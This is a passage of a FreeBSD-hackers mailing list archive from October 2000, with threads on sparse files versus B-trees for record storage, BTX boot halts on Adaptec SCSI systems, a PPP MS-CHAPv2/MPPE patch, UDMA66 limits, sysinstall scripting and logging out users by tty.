complicated... Anyway, advice _please_ and flames if you really must. Dave :( BTW, -B option in fdisk is ignored if -f is specified, yet there is no command in the configuration file to set boot blocks, what gives?. See fdisk(8). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 15:51:59 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id 4C52B37B4F9; Sun, 29 Oct 2000 15:51:53 -0800 (PST) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id KAA07461; Mon, 30 Oct 2000 10:21:30 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <200010272139.XAA32861@siri.nordier.com> Date: Mon, 30 Oct 2000 10:21:29 +0930 (CST) From: "Daniel O'Connor" To: Robert Nordier Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux Cc: hackers@FreeBSD.ORG, (freebsd-stable@FreeBSD.ORG) , (Terry Lambert) , (Matt Dillon) , (Fred Clift) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 27-Oct-00 Robert Nordier wrote: > > around the broken bioses I use. I just might start using program posted > > in this thread that lets you do labels right in lieu of anything else, or > > perhaps I'll fix disklabel to work right as was suggeseted elsewhere. > Don't sysinstall work in a script mode? I've never used it, but I > thought it did. Yes it does.. It's not totally automated (you have to press enter twice) but a) that is not very hard and b) even if it was you could fix it and roll your own sysinstall that just assumed 'yes'. I have sysinstall doing a custom installation from a CD in short order with the user only having to configure X (ship different video cards so I can't just whack in a fixed XF86Config) --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 16: 8:24 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (placeholder-dcat-1076843399.broadbandoffice.net [64.47.83.135]) by hub.freebsd.org (Postfix) with ESMTP id 1BE6637B65E for ; Sun, 29 Oct 2000 16:08:21 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id e9U07nY71868; Sun, 29 Oct 2000 16:07:49 -0800 (PST) (envelope-from dillon) Date: Sun, 29 Oct 2000 16:07:49 -0800 (PST) From: Matt Dillon Message-Id: <200010300007.e9U07nY71868@earth.backplane.com> To: Ryan Thompson Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Filesystem holes References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> :> storage is rather inefficient for our table of about 2,850,000 members :> :> (~2.1 GB total storage). There are 64M possible hash values in our :> :> current implementation, and our record size is variable, but could be :> :> safely fixed at about 1.5KB... So, total storage if all values were used :> :> would be about 96GB. (See where I'm going with this?) :... : :Remember, though, I'm not proposing a hash table. I have been lucky :enough to design a "hash" function that will crunch down all possible :values into about 64M unique keys--so, no collisions. I propose to use :this function with address calculation. So, O(1) everything, for single :random lookups, which is (virtually) all this data structure must deal :with. Sorting isn't necessary, and that could be accomplished in O(n) :anyway. Are you still talking about creating a 96GB file to manage 2.1GB worth of data? I gotta say, that sounds kinda nuts to me! Cpu cycles are cheap, I/O and memory is not. Take the BTree example again -- if you think about it, all internal nodes in the tree will fit into memory trivially. It is only the leaf nodes that do not. So in regards to actual disk accesses you still wind up only doing *ONE* for the btree, even if it winds up being four or five levels deep. The result is that you will be able to create an index to your data, which is only 2.8 million records, in around 32 bytes per record or 89 Megabytes. Not 96GB. Since you can cache all the internal nodes of the btree you are done. The machine will do a much better job caching a 89MB index then a 96GB index. Do not make the mistake of equating cpu to I/O. The cpu required to iterate through 4 levels in the btree (assuming 64 entries per node, it only takes 4 to cover 16 million records) is *ZERO* ... as in, probably less then a microsecond, whereas accessing the disk is going to be milliseconds. :> A B+Tree will also scale with the size of the dataset being managed, :> so you do not have to preallocate or prereserve file space. : :So will address calculation + filesystem holes, and sufficiently large :filesizes :-) Uh, not with a 50:1 file size factor it won't. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 16:22:10 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from Awfulhak.org (tun.AwfulHak.org [194.242.139.173]) by hub.freebsd.org (Postfix) with ESMTP id EA74937B4E5; Sun, 29 Oct 2000 16:22:02 -0800 (PST) Received: from hak.lan.Awfulhak.org (root@hak.lan.awfulhak.org [172.16.0.12]) by Awfulhak.org (8.11.0/8.11.0) with ESMTP id e9U0Ipl04020; Mon, 30 Oct 2000 00:18:51 GMT (envelope-from brian@hak.lan.Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.11.1/8.11.1) with ESMTP id e9U0KBs49169; Mon, 30 Oct 2000 00:20:11 GMT (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200010300020.e9U0KBs49169@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Ustimenko Semen Cc: Brian Somers , hackers@FreeBSD.org, current@FreeBSD.org, brian@Awfulhak.org Subject: Re: PPP patch (CHAP81 + MPPE) In-Reply-To: Message from Ustimenko Semen of "Mon, 30 Oct 2000 02:47:23 +0600." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 30 Oct 2000 00:20:11 +0000 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Thanks for the patches. I've committed the changes although I'm having problems with MPPE. I suspect the problems are actually in the CCP stuff though - and I've suspected this for some time, something to do with running ppp back-to-back (and not over a tty). I'll look into this soon. Anyway, thanks again for your work. It's really appreciated. > Hi! > > Here is a patch attached (made from current from 20000813). > > Patch makes ppp able to respond and initiate MS-CHAP-v2 authentication and > supports MPPE encryption protocol. With all these ppp can participate in > MS VPN. Please look at this, and tell me what you think? > > Bye! [.....] -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 17:44:57 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id 0C12A37B4C5 for ; Sun, 29 Oct 2000 17:44:53 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id TAA18992; Sun, 29 Oct 2000 19:48:32 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Sun, 29 Oct 2000 19:48:32 -0600 (CST) From: Ryan Thompson To: Matt Dillon Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Filesystem holes In-Reply-To: <200010300007.e9U07nY71868@earth.backplane.com> Message-ID: Organization: SaskNow Technologies [www.sasknow.com] MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matt Dillon wrote to Ryan Thompson: > :> :> storage is rather inefficient for our table of about 2,850,000 members > :> :> (~2.1 GB total storage). There are 64M possible hash values in our > :> :> current implementation, and our record size is variable, but could be > :> :> safely fixed at about 1.5KB... So, total storage if all values were used > :> :> would be about 96GB. (See where I'm going with this?) > :... > : > :Remember, though, I'm not proposing a hash table. I have been lucky > :enough to design a "hash" function that will crunch down all possible > :values into about 64M unique keys--so, no collisions. I propose to use > :this function with address calculation. So, O(1) everything, for single > :random lookups, which is (virtually) all this data structure must deal > :with. Sorting isn't necessary, and that could be accomplished in O(n) > :anyway. > > Are you still talking about creating a 96GB file to manage 2.1GB worth > of data? I gotta say, that sounds kinda nuts to me! Cpu cycles are > cheap, I/O and memory is not. Hi, Matt! Thanks for the replies. I'll try and keep you interested ;-) Hmm... Perhaps you're still missing my original point? I'm talking about a file with 96GB in addressable bytes (well, probably a bunch of files, given logical filesize limitations, but let's say for simplicity's sake that we have a single file). It's actual "size" (in terms of allocated blocks) will be only a bit larger than 2.1GB. (Directly proportional to the used size of the dataset. Discrepancies only come into play when record size != block size, but that can be worked around somewhat) In other words, ls -ls will report the "size" as some ridiculously large number, will show a much smaller block count. So, assuming four records are added to the file on block boundaries, the file will actually only use four blocks... nowhere near 96GB! In the UNIX filesystem (ya, I know.. just pick one :-), size of file != space allocated for file. Thus, my original questions were centered around filesystem holes. I.e., non-allocated chunks in the middle of a file. When trying to READ from within a hole, the kernel just sends back a buffer of zeros... which is enough to show that the record is not initialized. Actually, something like an "exists" function for a record wouldn't touch the disk at all! When writing to a hole, the kernel simply allocates the necessary block(s). This is really fast, too, for creation, as the empty set can be written to disk with touch(1), and uses far less memory than virtual initialization or memory structures ;-) As an example, try fseek(f, 0-1, SEEK_SET); fputc('\n', f); And analyze the reported filesize, as well as the reported block count of the file. You should see a 2GB "size", and maybe 8K in allocated blocks (depends how you ran newfs ;-). This is behaviour that has been around since the original UFS. > Take the BTree example again -- if you think about it, all internal nodes > in the tree will fit into memory trivially. It is only the leaf nodes > that do not. So in regards to actual disk accesses you still wind up > only doing *ONE* for the btree, even if it winds up being four or five > levels deep. Right. And, actually, (without looking a bit more closely), I wouldn't be suprised if you could replace the four-line address calculation I have with your B+Tree structure and come up with the same result. Only difference would be a few hundred lines of code, much more testing, and quite a few megs of RAM... ;-) What you referred to as "nuts", above, is just a logical way to provide a huge address space for a set of data, without actually allocating blocks in the filesystem for the entire address space until they are used. > The result is that you will be able to create an index to your data, > which is only 2.8 million records, in around 32 bytes per record or > 89 Megabytes. Not 96GB. Since you can cache all the internal nodes > of the btree you are done. The machine will do a much better job > caching a 89MB index then a 96GB index. > > Do not make the mistake of equating cpu to I/O. The cpu required to > iterate through 4 levels in the btree (assuming 64 entries per node, > it only takes 4 to cover 16 million records) is *ZERO* ... as in, > probably less then a microsecond, whereas accessing the disk is going > to be milliseconds. CPU time for what I'm proposing is even closer to zero than for a tree... But, you're right, it doesn't make any real difference when compared to disk I/O... B-Trees are good for a lot of things. Address calculation can be really good, too, given a finite key set, and a way to represent that finite key set without wasting space. > > > A B+Tree will also scale with the size of the dataset being managed, > > > so you do not have to preallocate or prereserve file space. > > > So will address calculation + filesystem holes, and > > sufficiently large filesizes :-) > > Uh, not with a 50:1 file size factor it won't. See my above discussion on file size != allocated blocks. And, address calculation implies that no index need be created or maintained (in memory, or on disk). Memory utilization is practically nil, disk utilization is proportional to the actual data size, and all record operations are done with one seek (O(1)). Perhaps performance could be improved by keeping a small memory cache, but that is tangential to the actual data structure, and will increase performance by percentages, not orders of magnitude. > > -Matt > - Ryan -- Ryan Thompson Network Administrator, Accounts Phone: +1 (306) 664-1161 SaskNow Technologies http://www.sasknow.com #106-380 3120 8th St E Saskatoon, SK S7H 0W2 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 17:59:35 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id 35ACB37B479 for ; Sun, 29 Oct 2000 17:59:30 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id UAA22197; Sun, 29 Oct 2000 20:03:12 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Sun, 29 Oct 2000 20:03:12 -0600 (CST) From: Ryan Thompson To: Matt Dillon Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Filesystem holes In-Reply-To: Message-ID: Organization: SaskNow Technologies [www.sasknow.com] MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ryan Thompson wrote to Matt Dillon: > Matt Dillon wrote to Ryan Thompson: > > > :> :> storage is rather inefficient for our table of about 2,850,000 members > > :> :> (~2.1 GB total storage). There are 64M possible hash values in our > > :> :> current implementation, and our record size is variable, but could be > > :> :> safely fixed at about 1.5KB... So, total storage if all values were used > > :> :> would be about 96GB. (See where I'm going with this?) > > :... > > : > > :Remember, though, I'm not proposing a hash table. I have been lucky > > :enough to design a "hash" function that will crunch down all possible > > :values into about 64M unique keys--so, no collisions. I propose to use > > :this function with address calculation. So, O(1) everything, for single > > :random lookups, which is (virtually) all this data structure must deal > > :with. Sorting isn't necessary, and that could be accomplished in O(n) > > :anyway. > > > > Are you still talking about creating a 96GB file to manage 2.1GB worth > > of data? I gotta say, that sounds kinda nuts to me! Cpu cycles are > > cheap, I/O and memory is not. > > Hi, Matt! Thanks for the replies. I'll try and keep you interested ;-) > > Hmm... Perhaps you're still missing my original point? I'm talking about > a file with 96GB in addressable bytes (well, probably a bunch of files, > given logical filesize limitations, but let's say for simplicity's sake > that we have a single file). It's actual "size" (in terms of allocated > blocks) will be only a bit larger than 2.1GB. (Directly proportional to > the used size of the dataset. Discrepancies only come into play when > record size != block size, but that can be worked around somewhat) > > In other words, ls -ls will report the "size" as some ridiculously large > number, will show a much smaller block count. So, assuming four records > are added to the file on block boundaries, the file will actually only use > four blocks... nowhere near 96GB! > > In the UNIX filesystem (ya, I know.. just pick one :-), size of file != > space allocated for file. Thus, my original questions were centered > around filesystem holes. I.e., non-allocated chunks in the middle of a > file. When trying to READ from within a hole, the kernel just sends back > a buffer of zeros... which is enough to show that the record is not > initialized. If you prefer to read system documentation instead of me, see lseek(2) :-) The lseek() function allows the file offset to be set beyond the end of the existing end-of-file of the file. If data is later written at this point, subsequent reads of the data in the gap return bytes of zeros (un- til data is actually written into the gap). I suppose gap == hole. Silly semantics. :-) > Actually, something like an "exists" function for a record > wouldn't touch the disk at all! When writing to a hole, the kernel simply > allocates the necessary block(s). This is really fast, too, for creation, > as the empty set can be written to disk with touch(1), and uses far less > memory than virtual initialization or memory structures ;-) > > As an example, try > > fseek(f, 0-1, SEEK_SET); > fputc('\n', f); > > And analyze the reported filesize, as well as the reported block count of > the file. You should see a 2GB "size", and maybe 8K in allocated blocks > (depends how you ran newfs ;-). This is behaviour that has been around > since the original UFS. > > > > Take the BTree example again -- if you think about it, all internal nodes > > in the tree will fit into memory trivially. It is only the leaf nodes > > that do not. So in regards to actual disk accesses you still wind up > > only doing *ONE* for the btree, even if it winds up being four or five > > levels deep. > > Right. And, actually, (without looking a bit more closely), I wouldn't be > suprised if you could replace the four-line address calculation I have > with your B+Tree structure and come up with the same result. Only > difference would be a few hundred lines of code, much more testing, and > quite a few megs of RAM... ;-) > > What you referred to as "nuts", above, is just a logical way to provide a > huge address space for a set of data, without actually allocating blocks > in the filesystem for the entire address space until they are used. > > > > The result is that you will be able to create an index to your data, > > which is only 2.8 million records, in around 32 bytes per record or > > 89 Megabytes. Not 96GB. Since you can cache all the internal nodes > > of the btree you are done. The machine will do a much better job > > caching a 89MB index then a 96GB index. > > > > Do not make the mistake of equating cpu to I/O. The cpu required to > > iterate through 4 levels in the btree (assuming 64 entries per node, > > it only takes 4 to cover 16 million records) is *ZERO* ... as in, > > probably less then a microsecond, whereas accessing the disk is going > > to be milliseconds. > > CPU time for what I'm proposing is even closer to zero than for a tree... > But, you're right, it doesn't make any real difference when compared to > disk I/O... B-Trees are good for a lot of things. Address calculation > can be really good, too, given a finite key set, and a way to represent > that finite key set without wasting space. > > > > > > A B+Tree will also scale with the size of the dataset being managed, > > > > so you do not have to preallocate or prereserve file space. > > > > > So will address calculation + filesystem holes, and > > > sufficiently large filesizes :-) > > > > Uh, not with a 50:1 file size factor it won't. > > See my above discussion on file size != allocated blocks. > > And, address calculation implies that no index need be created or > maintained (in memory, or on disk). Memory utilization is practically > nil, disk utilization is proportional to the actual data size, and all > record operations are done with one seek (O(1)). > > Perhaps performance could be improved by keeping a small memory cache, but > that is tangential to the actual data structure, and will increase > performance by percentages, not orders of magnitude. > > > > > -Matt > > > > > - Ryan > > -- Ryan Thompson Network Administrator, Accounts Phone: +1 (306) 664-1161 SaskNow Technologies http://www.sasknow.com #106-380 3120 8th St E Saskatoon, SK S7H 0W2 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 18: 7:53 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.122.47]) by hub.freebsd.org (Postfix) with ESMTP id 5006137B479; Sun, 29 Oct 2000 18:07:49 -0800 (PST) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.10.1/8.10.1) with ESMTP id e9U272w66456; Sun, 29 Oct 2000 18:07:03 -0800 (PST) Date: Sun, 29 Oct 2000 18:07:02 -0800 (PST) From: Doug White To: Paul Saab Cc: Mike Smith , freebsd-stable@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux hardware In-Reply-To: <20001027012522.A96576@elvis.mu.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Oct 2000, Paul Saab wrote: > Mike Smith (msmith@mass.osd.bsdi.com) wrote: > > > > > > :I'm just curious. How many disks are in this box? We saw something > > > :similar here at work and it turned out that there were multiple disklabels > > > :on the other disks and for somereason it was confusing the loader. > > > :We dd'd the bad sections off and everything worked. > > > > Are you sure it's confusing the loader? Matt's fault address puts it in > > the BIOS at 0xc800, which is probably the SCSI adapter's BIOS...> > > I wasn't 100% involved with the problem. Peter looked into and notice > the disks had bogus labels (sometimes up to 3 labels on 1 disk) and when > he removed them, the machines were happy again. We never looked into > further because we just didn't have the time. I know I'm getting into this late but I can reliably reproduce this problem. I ran into it about 3 months ago when using a custom PXE-based installer for our SCSI boxes. I even annoyed -hackes and got John Baldwin to help me decode the register dumps. The IP does end up in the SCSI BIOS extension somewhere, which is really scary. To do it: 1. Pick a motherboard with built-in SCSI; the L440GX+ for instance. Put 2 or more disks on a controller. 2. Set the disks up dangerously dedicated, i.e. don't put proper MS partition tables on the disks. 3. Try to boot the box; watch BTX die in the same place every time. The Adaptec BIOS is doing something really fugly when it doesn't find proper partition tables on the disks. It does it if ANY of the disks are done 'dangerously dedicated.' The easy solution: always put proper partitions on your disks. The hard solution: figure out what nastiness Adaptec is doing and slap their hand. Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 19:17:21 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (placeholder-dcat-1076843399.broadbandoffice.net [64.47.83.135]) by hub.freebsd.org (Postfix) with ESMTP id D55DD37B479 for ; Sun, 29 Oct 2000 19:17:17 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id e9U3GiP72404; Sun, 29 Oct 2000 19:16:44 -0800 (PST) (envelope-from dillon) Date: Sun, 29 Oct 2000 19:16:44 -0800 (PST) From: Matt Dillon Message-Id: <200010300316.e9U3GiP72404@earth.backplane.com> To: Ryan Thompson Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Filesystem holes References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Hi, Matt! Thanks for the replies. I'll try and keep you interested ;-) : :Hmm... Perhaps you're still missing my original point? I'm talking about :a file with 96GB in addressable bytes (well, probably a bunch of files, :given logical filesize limitations, but let's say for simplicity's sake :that we have a single file). It's actual "size" (in terms of allocated :blocks) will be only a bit larger than 2.1GB. (Directly proportional to :the used size of the dataset. Discrepancies only come into play when :record size != block size, but that can be worked around somewhat) Ah, ok... that's better, though I think you will find yourself tuning it endlessly if the blocksize does not match-up. Remember, the filesystem allocates 8K per block, so if your record size is 1500 bytes and you have a random distribution, you are going to wind up eating 8-14GB. :In other words, ls -ls will report the "size" as some ridiculously large :number, will show a much smaller block count. So, assuming four records :are added to the file on block boundaries, the file will actually only use :four blocks... nowhere near 96GB! : :In the UNIX filesystem (ya, I know.. just pick one :-), size of file != :space allocated for file. Thus, my original questions were centered :around filesystem holes. I.e., non-allocated chunks in the middle of a :file. When trying to READ from within a hole, the kernel just sends back :a buffer of zeros... which is enough to show that the record is not :initialized. Actually, something like an "exists" function for a record :wouldn't touch the disk at all! When writing to a hole, the kernel simply :allocates the necessary block(s). This is really fast, too, for creation, :as the empty set can be written to disk with touch(1), and uses far less :memory than virtual initialization or memory structures ;-) : :As an example, try Ahh.. yes, I know. I'm a filesystem expert :-) However, that said, I will tell you quite frankly that virtually *nobody* depends on holes for efficient storage. There are only a few problems where it's practical.... some forms of executables, and sparse matrixes. That's pretty much it. :And analyze the reported filesize, as well as the reported block count of :the file. You should see a 2GB "size", and maybe 8K in allocated blocks :(depends how you ran newfs ;-). This is behaviour that has been around :since the original UFS. It's not a good idea to use a small block size in UFS. The minimum is pretty much 1K frag, 8K block. for a sparse file this means 8K is the minimum that will be allocated (frags are only allocated for the end of a file). If you think the btree idea is too complex to implement quickly, then try using a radix tree (essentially what you said in regards to breaking the hash you calculate into a node traversal). For your problem I would recommend 64 elements per node, which corresponds to 6 bits. 16 million records would fit in 6x4 = 4 levels. If you cache the first three levels in memory you eat 64^3 = 262144 x sizeof(record). Assuming a simple file offset for the record, you eat exactly 1MB of memory, 64MB for the file index, and your data can be placed sequentially in the file. :- Ryan -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 20: 6: 4 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from spoon.beta.com (064-184-210-067.inaddr.vitts.com [64.184.210.67]) by hub.freebsd.org (Postfix) with ESMTP id 1769037B4C5; Sun, 29 Oct 2000 20:06:01 -0800 (PST) Received: from spoon.beta.com (localhost [127.0.0.1]) by spoon.beta.com (8.11.0/8.11.0) with ESMTP id e9U45wu75483; Sun, 29 Oct 2000 23:05:59 -0500 (EST) (envelope-from mcgovern@spoon.beta.com) Message-Id: <200010300405.e9U45wu75483@spoon.beta.com> To: qa@freebsd.org Cc: hackers@freebsd.org Subject: DMA/66 not available for secondary IDE bus? Date: Sun, 29 Oct 2000 23:05:58 -0500 From: Brian McGovern Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This may be intentional, but I've noticed that if you have a non-UDMA66 device on the primary IDE bus, FreeBSD 4.x does not allow you to have UDMA66 on the secondary bus. To wit, if you had a configuration similar to: Primary bus Older (UDMA33 or earlier) IDE boot disk CD ROM Secondary bus 15GB UDMA 66 disk 15GB UDMA 66 disk then even your 16GB drives can not be UDMA 66, and are limited to the UDMA (or less!) speed provided on the primary bus. This is particularly troubling if one were to use vinum to try to do a mirror, as you will not get optimum performance from the drives. One could argue that shuffling devices around and upgrading the boot drive would solve the problem on one of the 15GB disks, but its still not really an optimal solution, as you'd have to move your CD rom on to the secondary bus, which would kill the other 15GB drive. Any possibility that we could 'unhook' the two PCI buses, and allow the secondary to go to UDMA66 if the first is down at UDMA 33 or slower? -Brian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 21:10:12 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from starbug.ugh.net.au (starbug.ugh.net.au [203.31.238.37]) by hub.freebsd.org (Postfix) with ESMTP id 9128337B479 for ; Sun, 29 Oct 2000 21:10:08 -0800 (PST) Received: by starbug.ugh.net.au (Postfix, from userid 1000) id 532ECA842; Mon, 30 Oct 2000 16:10:03 +1100 (EST) Received: from localhost (localhost [127.0.0.1]) by starbug.ugh.net.au (Postfix) with ESMTP id 4C94D5455; Mon, 30 Oct 2000 15:10:03 +1000 (EST) Date: Mon, 30 Oct 2000 15:10:03 +1000 (EST) From: andrew@ugh.net.au To: freebsd-hackers@freebsd.org Cc: iain@research.canon.com.au Subject: Logging users out Message-ID: X-WonK: *wibble* MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, What is the best way to go about logging a user out given their tty? I had a couple of ideas: (a) open their tty and set the baud rate to 0 (b) use tcgetpgrp to get the process group id of the foreground process group on that tty, then with that info use libkvm to find the session leader's pid and send it a SIGHUP (c) use tcgetpgrp to get the process group id of the foreground process group on that tty then using killpg to kill all the members of that process group. I would need to do this in a loop to catch background process groups that come to the foreground after a process group is killed. Whenever sending a signal I will have to verify the process exited, possibly sending TERM and KILL until it does. Problems: (a) a doesn't seem to work...I'm guessing it only works on serial lines. (b) b would be quite unportable I would guess (although thats not a tragedy I would like to avoid it if it isn't too hard). Also if the session leader dies is there any guarentee everything else in the session goes as well? Or would I have to go through and kill every process group in the session? (c) c just seemed to be a bit of a hack (assuming you haven't just read b). Out of all of them it seems the best so far however. Does anyone have any suggestions or comments? Is there a "proper" way to do this? Thanks, Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 22: 1:44 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from verdi.nethelp.no (verdi.nethelp.no [158.36.41.162]) by hub.freebsd.org (Postfix) with SMTP id 8BFF037B4C5 for ; Sun, 29 Oct 2000 22:01:40 -0800 (PST) Received: (qmail 65921 invoked by uid 1001); 30 Oct 2000 06:01:38 +0000 (GMT) To: dwhite@resnet.uoregon.edu Cc: paul@mu.org, msmith@mass.osd.bsdi.com, freebsd-stable@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinuxhardware From: sthaug@nethelp.no In-Reply-To: Your message of "Sun, 29 Oct 2000 18:07:02 -0800 (PST)" References: X-Mailer: Mew version 1.05+ on Emacs 19.34.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Mon, 30 Oct 2000 07:01:38 +0100 Message-ID: <65919.972885698@verdi.nethelp.no> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I know I'm getting into this late but I can reliably reproduce this > problem. I ran into it about 3 months ago when using a custom PXE-based > installer for our SCSI boxes. I even annoyed -hackes and got John Baldwin > to help me decode the register dumps. The IP does end up in the SCSI BIOS > extension somewhere, which is really scary. ... > The Adaptec BIOS is doing something really fugly when it doesn't find > proper partition tables on the disks. > > It does it if ANY of the disks are done 'dangerously dedicated.' This also happens on IBM Netfinity 5600 servers (Adaptec 7890/91 on motherboard). Steinar Haug, Nethelp consulting, sthaug@nethelp.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 22:28:32 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp.attica.net.nz (mail.attica.net.nz [202.180.64.33]) by hub.freebsd.org (Postfix) with SMTP id E131F37B479 for ; Sun, 29 Oct 2000 22:28:29 -0800 (PST) Received: (qmail 30168 invoked from network); 30 Oct 2000 06:28:27 -0000 Received: from 202-180-83-45.iff2.attica.net.nz (HELO davep200.afterswish.com) (202.180.83.45) by mail.attica.net.nz with SMTP; 30 Oct 2000 06:28:27 -0000 Message-Id: <5.0.0.25.1.20001030172530.00a06070@mail.afterswish.com> X-Sender: davep@mail.afterswish.com X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Mon, 30 Oct 2000 17:28:03 +1300 To: Matt Dillon From: David Preece Subject: Re: Filesystem holes Cc: freebsd-hackers@freebsd.org In-Reply-To: <200010300316.e9U3GiP72404@earth.backplane.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 19:16 29/10/00 -0800, you wrote: > Ahh.. yes, I know. I'm a filesystem expert :-) However, that said, I > will tell you quite frankly that virtually *nobody* depends on holes > for efficient storage. There are only a few problems where it's > practical.... some forms of executables, and sparse matrixes. That's > pretty much it. Presumably writing into these holes repeatedly is a none-too-efficient affair (requiring moving all the stuff on either side), or am I missing the point slightly? Dave :) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 22:31:22 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.internet.dk (ns.internet.dk [194.19.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 2F18E37B479 for ; Sun, 29 Oct 2000 22:31:18 -0800 (PST) Received: (from uucp@localhost) by ns.internet.dk (8.11.1/8.11.1) with UUCP id e9U6UtN19735; Mon, 30 Oct 2000 07:30:55 +0100 (CET) (envelope-from leifn@neland.dk) Received: from gina (gina.neland.dk [192.168.0.14]) by arnold.neland.dk (8.11.0/8.11.0) with SMTP id e9U61TZ35278; Mon, 30 Oct 2000 07:01:30 +0100 (CET) (envelope-from leifn@neland.dk) Message-ID: <01a801c04236$ed0a0d20$0e00a8c0@neland.dk> Reply-To: "Leif Neland" From: 